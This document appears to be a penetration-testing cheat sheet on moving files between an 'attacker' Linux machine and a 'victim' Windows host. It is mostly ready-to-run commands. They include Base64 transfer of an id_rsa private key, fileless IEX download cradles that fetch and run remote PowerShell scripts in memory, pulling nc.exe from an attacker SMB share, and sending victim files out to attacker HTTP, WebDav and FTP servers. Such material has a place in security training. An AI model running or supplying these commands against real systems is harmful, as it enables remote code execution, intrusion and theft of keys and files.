PowerShell Base64 Encoding and Decoding If we have access to a terminal, we can encode a file into a Base64 string, copy its contents from the terminal, and perform the reverse operation, decoding the file back into its original contents. This is useful when a network cannot be used to transfer files directly
Arch Linux Machine (Attacker) Calculate the MD5 hash of the file you want to transfer terminal Copy
md5sum id_rsa txt Copy
4e301756a07ded0a2dd6953abf015278 id_rsaEncode the file in Base64 bash Copy
$ cat id_rsa | base64 -w 0; echo-w 0 : to ensure it is on a single line
Victim Machine (Windows) Create the file from the Base64 string. Use the following command in PowerShell, replacing <cadena_base64> with the encoded text powershell Copy
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<cadena_base64>"))Verify the MD5 hash of the received file powershell Copy
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5If the hash matches the one on the attacker machine, the file was transferred successfully
PowerShell Web Download Be careful, it does not download it directly to the PC
DownloadFile (Basic) powershell Copy
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')DownloadString - Fileless (IEX) The term fileless suggests that a threat does not come in a file, but instead uses legitimate tools built into a system to execute an attack. Operating system functions are used to execute code directly in memory
powershell Copy
IEX (New-Object Net.WebClient).DownloadString('http://<ip>/script.ps1')This stores it in memory and executes it directlywithout leaving a trace on disk
PowerShell Invoke-WebRequest It does the same as the other commands but is slower; it is better to use iwr, curl, wget
powershell Copy
Invoke-WebRequest http://<ip>/script.ps1 -OutFile script.ps1Possible Error (Internet Explorer) Errors may occur due to Internet Explorer; bypass them using -useBasicParsing
powershell Copy
Invoke-WebRequest http://<ip>/script.ps1 -UseBasicParsing | IEXSMB Attacker Machine (Arch Linux) terminal Copy
sudo impacket-smbserver share -smb2support /tmp/smbshare share : Name of the share that will be used to access the server.smb2support : Enables SMBv2 support./tmp/smbshare : Path on the attacker machine where the files to be shared are located.Downloading Files on the Victim (Windows) txt Copy
copy \\192.168.220.133\share\nc.exeIssue: Access Blocked by Security Policies In recent versions of Windows, unauthenticated access to SMB shared folders is blocked.
Configure SMB with a Username and Password terminal Copy
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test Mount the SMB Server on the Windows Machine txt Copy
net use n: \\192.168.220.133\share /user:test testFTP Configure Attacker FTP Server (Arch Linux) terminal Copy
$ sudo python3 -m pyftpdlib --port 21Windows File Download powershell Copy
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')Using the FTP Client If you do not have access to an interactive shell, you can create a file with the necessary FTP commands and run it automatically.
txt Copy
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txtUpload Operations (reverse process) PowerShell Base64 Encode & Decode powershell Copy
[Convert]::ToBase64String((Get-Content -path "C:\Windows\System32\drivers\etc\hosts" -Encoding byte))On the attacker machine (Linux), decode the string:
terminal Copy
$ echo <base64_string> | base64 -d > hostsTransfer via HTTP Server terminal Copy
$ sudo python3 -m http.server 8080powershell Copy
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hostsSMB / WebDav / FTP Uploads WebDav:
terminal Copy
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous txt Copy
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\FTP upload:
terminal Copy
$ sudo python3 -m pyftpdlib --port 21 --writepowershell Copy
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')